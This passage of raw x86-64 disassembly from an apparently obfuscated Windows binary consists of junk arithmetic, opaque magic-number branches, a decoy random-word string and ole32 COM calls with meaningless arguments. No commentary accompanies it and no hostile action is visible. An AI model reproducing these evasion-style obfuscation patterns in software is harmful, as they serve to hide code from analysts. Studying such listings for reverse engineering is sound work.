mov byte [rax], dl
cmp dword [rbp + 0x24240], 0xd65c
ja 0x140005d08
jmp 0x14000614b
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x5f]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
and edx, 0xc
mov byte [rax], dl
mov eax, dword [0x140176030]
sar eax, 5
mov dword [rbp + 0xf2c], eax
add dword [rbp + 0x24274], 0xc2
mov rax, qword [rbp + 0x28d0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
xor edx, ecx
mov byte [rax], dl
mov eax, dword [0x140176030]
or eax, 0x70978b27
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x2a]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [rbp + 0xf2c]
and eax, 0x946cd01
mov dword [0x140176030], eax
mov eax, dword [rbp + 0x31e4]
sub eax, 0x33518b5d
mov dword [rbp + 0x31e4], eax
mov eax, dword [rbp + 0x31e4]
add eax, 0x4f460f22
mov dword [rbp + 0x31e4], eax
movzx eax, byte [rbp + 0x316b]
sub eax, 0x39
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x7b]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
cmp dword [rbp + 0x24274], 0x1c47
jne 0x140006016
lea rax, [rbp + 0x31e4]
mov qword [rbp + 0x23e0], rax
jmp 0x1400063da
mov eax, dword [0x140176030]
sub eax, 0x13ba031f
mov dword [rbp + 0xf2c], eax
mov eax, dword [0x140176030]
add eax, 0x126cb5
mov dword [rbp + 0xf2c], eax
sub dword [rbp + 0x241d4], 0xba
mov eax, dword [rbp + 0xf2c]
add eax, 0x37b27d2d
mov dword [0x140176030], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
xor eax, 0x23
mov byte [rbp + 0x23d7], al
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
or eax, 0xc2d47830
mov dword [rbp + 0x31e4], eax
mov eax, dword [0x140176030]
sar eax, 0x1d
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
shl eax, 2
mov byte [rbp + 0x23d7], al
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
and edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x316b]
sub eax, 0x7c
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub eax, 0x63daa3c7
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
and eax, 0x9bd8de81
mov dword [rbp + 0x31e4], eax
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, 0x3f85ac65
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, 0x3ea1174f
mov dword [rax], edx
movzx eax, byte [rbp + 0x316b]
or eax, 0x11
mov byte [rbp + 0x316b], al
mov eax, dword [0x140176030]
xor eax, 0x50aa4348
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
shr eax, 1
mov dword [rbp + 0x31e4], eax
mov eax, dword [0x140176030]
shl eax, 0x19
mov dword [rbp + 0xf2c], eax
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
and edx, 0xfa934c10
mov dword [rax], edx
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x316b]
sub eax, 0xd
mov byte [rbp + 0x316b], al
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x5c]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub edx, 0x7ba76b65
mov dword [rax], edx
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
and edx, 0xf3d12297
mov dword [rax], edx
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub edx, 0x10fd4696
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x62]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub edx, 0xab0dff5
mov dword [rax], edx
cmp dword [rbp + 0x241d4], 0x6bb5
ja 0x14000616e
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
xor edx, ecx
mov dword [rax], edx
mov eax, dword [0x140176030]
shl eax, 3
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x23e0]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
sub dword [rbp + 0x241e4], 0xce
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
or eax, 4
mov byte [rbp + 0x23d7], al
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
and edx, 0x71
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x77]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub eax, 0x6659ca96
mov dword [rbp + 0x31e4], eax
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub edx, 0x5621debb
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
and edx, 0xfa4c39cd
mov dword [rax], edx
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
sub eax, 0x58
mov byte [rbp + 0x23d7], al
movzx eax, byte [rbp + 0x316b]
sub eax, 0x26
mov byte [rbp + 0x316b], al
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, 0x2b40d12a
mov dword [rax], edx
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
shl edx, 2
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
xor edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x316b]
shr al, 7
mov byte [rbp + 0x316b], al
movzx eax, word [0x140170310]
or ax, 0xf50
mov word [0x140170310], ax
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
and eax, 0xb04d3068
mov dword [rbp + 0x31e4], eax
mov eax, dword [0x140176030]
add eax, 0x4455f0eb
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub eax, 0x43323b9f
mov dword [rbp + 0x31e4], eax
cmp dword [rbp + 0x241e4], 0xb62e
ja 0x1400063ea
movzx eax, word [0x140170310]
mov word [rbp + 0x1e9e], ax
mov dword [rbp + 0x242ac], 0xefaa
lea rax, [rbp + 0x316b]
mov qword [rbp + 0x3ff0], rax
mov dword [rbp + 0x241c4], 0xfd1
mov eax, dword [0x140176030]
add eax, 0x1c5227d6
mov dword [rbp + 0xf2c], eax
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
sub edx, 0x2e
mov byte [rax], dl
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
add edx, 0x3e
mov byte [rax], dl
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
and eax, 0x44
mov byte [rbp + 0x23d7], al
movzx eax, word [0x140170310]
sub ax, 0xa00
mov word [rbp + 0x1e9e], ax
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
xor edx, 0xffffff93
mov byte [rax], dl
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
or edx, 0xdf7849f
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
shr eax, 0xd
mov dword [rbp + 0x31e4], eax
mov eax, dword [0x140176030]
shl eax, 0x18
mov dword [rbp + 0xf2c], eax
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
add edx, 9
mov byte [rax], dl
mov eax, dword [0x140176030]
and eax, 0x248e4479
mov dword [rbp + 0xf2c], eax
mov eax, dword [rbp + 0xf2c]
sub eax, 0x16db3a78
mov dword [0x140176030], eax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub eax, 0x28433654
mov dword [rbp + 0x31e4], eax
add dword [rbp + 0x24288], 0x4b
mov eax, dword [0x140176030]
add eax, 0x5f365908
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub eax, 0x5c7c3b7b
mov dword [rbp + 0x31e4], eax
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
add edx, 2
mov byte [rax], dl
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
and edx, 0xffffffb3
mov byte [rax], dl
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
shl edx, 3
mov byte [rax], dl
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
xor edx, 0x26
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
or edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
shr edx, 4
mov dword [rax], edx
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
sub eax, 0x4b
mov byte [rbp + 0x316b], al
movzx eax, word [0x140170310]
sub ax, 0xba4
mov word [rbp + 0x1e9e], ax
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
and edx, 0x3eab95ef
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub eax, 0x3d254511
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rbp + 0x23d7]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
add edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, 0x505e5e7a
mov dword [rax], edx
cmp dword [rbp + 0x24288], 0x7355
jne 0x140006602
mov eax, dword [0x140176030]
cmp eax, 0xb8977fe
je 0x1400068b8
cmp eax, 0x7cd28d17
je 0x1400068de
jmp 0x14000694b
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0xc]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [0x140176030]
add eax, 0x46a6a505
mov dword [rbp + 0xf2c], eax
jmp 0x14000694b
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
or edx, ecx
mov dword [rax], edx
mov eax, dword [0x140176030]
xor eax, 0x12900a5d
mov dword [rbp + 0xf2c], eax
lea rdx, [rbp + 0x2764]
lea rax, [rbp + 0x56d0]
mov r8, rdx
mov rdx, rax
mov ecx, 0x9d
mov rax, qword [sym.imp.ole32.dll_CoGetCancelObject]
call rax
mov dword [rbp + 0x23ba0], eax
movzx eax, word [rbp + 0x5bcc]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
call fcn.14015ab3a
nop
mov dword [rbp + 0x24270], 0x1e52
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
mov edx, 0x79
mov ecx, edx
shl eax, cl
mov edx, eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
cmp edx, eax
je 0x140006a72
lea rax, [rbp + 0x23d7]
mov qword [rbp + 0x24248], rax
mov dword [rbp + 0x24298], 0xd6c1
movzx eax, word [rbp + 0x5bcc]
mov word [rbp + 0x2b36], ax
movzx eax, word [rbp + 0x1e9e]
mov word [rbp + 0x1142], ax
mov dword [rbp + 0x242c4], 0x1a12
mov edx, dword [rbp + 0xf2c]
mov eax, dword [0x140176030]
imul eax, edx
mov dword [0x140170314], eax
lea rax, [rbp + 0x316b]
mov qword [rbp + 0x24210], rax
movzx eax, word [0x140170310]
movzx eax, ax
cmp eax, 0x853
je 0x140006a3e
cmp eax, 0x9fdb
jne 0x140006a59
mov eax, dword [rbp + 0x31e4]
mov dword [rbp + 0x13a8], eax
lea rax, [rbp + 0x31e4]
mov qword [rbp + 0x2468], rax
movzx eax, word [rbp + 0x1e9e]
mov word [rbp + 0x12f8], ax
lea rax, [rbp + 0x316b]
mov qword [rbp + 0x40f0], rax
lea rax, [rbp + 0xf2c]
mov qword [rbp + 0x3f40], rax
jmp 0x140006a59
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x23e0]
and edx, ecx
mov dword [rax], edx
nop
mov dword [rbp + 0x24284], 0xaf96
mov dword [rbp + 0x24224], 0xaced
jmp 0x140006b01
mov eax, dword [rbp + 0x31e4]
mov edx, 0x1cef7765
mov ecx, edx
shr eax, cl
mov edx, eax
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
cmp edx, eax
jne 0x140006b01
lea rax, [rbp + 0x2800]
mov rdx, rax
lea rax, str.satyrs_Bedevil_Dafter_Lineouts_turnings
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
call rax
mov dword [rbp + 0xdec], eax
mov edx, dword [0x140176030]
mov eax, dword [0x140170314]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
lea rdx, [rbp + 0x316b]
lea rax, [rbp + 0x3770]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetCallContext]
call rax
mov dword [rbp + 0x2426c], eax
mov dword [rbp + 0x2429c], 0x8d7f
movzx eax, word [rbp + 0x5bcc]
cwde
cmp eax, 0x3626
je 0x140006b26
cmp eax, 0x7737
je 0x140006b41
jmp 0x140006dfe
movzx eax, word [rbp + 0x2b36]
movsx edx, ax
movzx eax, word [rbp + 0x2b36]
cwde
mov ecx, eax
call fcn.14015ab3a
jmp 0x140006b5e
mov rax, qword [rbp + 0x24248]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
and edx, ecx
mov byte [rax], dl
nop
jmp 0x140006dfe
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x316b], al
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x13a8], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x24270], 0x85
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
movzx eax, word [rbp + 0x2b36]
sub eax, 0x78
mov word [rbp + 0x5bcc], ax
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x3ff0]
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x2468]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [0x140170314]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x13a8]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x1e9e]
movzx edx, word [rbp + 0x1142]
sub eax, edx
mov word [rbp + 0x12f8], ax
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [0x140176030]
and eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x24248]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
or edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x40f0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
movsx edx, al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x23e0]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
cmp dword [rbp + 0x24270], 0x98a
ja 0x140006b63
movzx eax, word [rbp + 0x1142]
movzx edx, ax
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
imul edx, eax
movzx eax, word [0x140170310]
movzx ecx, ax
movzx eax, word [rbp + 0x12f8]
movzx eax, ax
add eax, ecx
cmp edx, eax
jl 0x14015973c
mov eax, dword [rbp + 0x31e4]
test eax, eax
jne 0x1401596db
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx eax, al
add edx, eax
mov rax, qword [rbp + 0x40f0]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x316b]
and eax, ecx
movzx eax, al
cmp edx, eax
jle 0x140006f0f
mov eax, dword [rbp + 0xf2c]
cmp eax, 0x59cc41f4
je 0x140006ed8
cmp eax, 0x711ea226
jne 0x140006f84
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x5bcc]
movsx edx, ax
movzx eax, word [rbp + 0x2b36]
cwde
mov ecx, eax
call fcn.14015ab3a
jmp 0x140006f84
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [0x140170314]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov r8d, dword [rbp + 0x31e4]
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
jmp 0x140006f84
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
movzx eax, word [rbp + 0x1142]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x1e9e], ax
mov dword [rbp + 0x241c0], 0x5aae
lea rax, [rbp + 0x316b]
mov qword [rbp + 0x241e8], rax
lea rax, [rbp + 0xf2c]
mov qword [rbp + 0x241c8], rax
lea rax, [rbp + 0xf2c]
mov qword [rbp + 0x5008], rax
mov eax, dword [rbp + 0x31e4]
mov dword [rbp + 0x18b0], eax
mov dword [rbp + 0x241b0], 0x7416
mov dword [rbp + 0x24290], 0x2268
movzx eax, word [rbp + 0x1142]
movzx eax, ax
cmp eax, 0x24d
je 0x140006fa5
cmp eax, 0x697
je 0x140007091
jmp 0x1400072c0
lea r8, [rbp + 0x316b]
lea rdx, [rbp + 0x56d0]
lea rax, [rbp + 0x24e0]
mov dword [rsp + 0x28], 0x9f
lea rcx, [rbp + 0xf2c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x2c
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
call rax
mov dword [rbp + 0x1740], eax
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
xor edx, eax
movzx eax, byte [rbp + 0x23d7]
cmp dl, al
jg 0x140007052
mov edx, dword [rbp + 0xf2c]
mov eax, dword [0x140170314]
or edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov edx, dword [0x140176030]
mov eax, dword [0x140170314]
and eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
movzx eax, word [rbp + 0x5bcc]
sub ax, 0x11fd
mov word [rbp + 0x2b36], ax
lea rdx, [rbp + 0x56d0]
lea rax, [rbp + 0x3770]
mov r8, rdx
mov rdx, rax
mov ecx, 0x2d
mov rax, qword [sym.imp.ole32.dll_CoGetCancelObject]
call rax
mov dword [rbp + 0x1740], eax
jmp 0x14000715c
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
add edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
movzx eax, word [rbp + 0x5bcc]
cwde
cmp eax, 0x4d5
jne 0x140007126
lea rdx, [rbp + 0xdec]
lea rax, [rbp + 0x5240]
mov r8, rdx
mov rdx, rax
mov ecx, 0xe0
mov rax, qword [sym.imp.ole32.dll_CoGetCancelObject]
call rax
mov dword [rbp + 0x23b9c], eax
movzx eax, word [rbp + 0x1142]
movzx edx, word [rbp + 0x12f8]
sub eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
mov rax, qword [sym.imp.ole32.dll_CoRevertToSelf]
call rax
mov dword [rbp + 0x2426c], eax
jmp 0x14000715b
movzx eax, byte [rbp + 0x23d7]
movsx r8d, al
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.140159c12
nop
nop
jmp 0x1400072c0
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
xor edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
add dword [rbp + 0x24290], 0xd9
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0xf2c], eax
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x23d7]
and edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x23d7]
mov edx, eax
mov rax, qword [rbp + 0x24248]
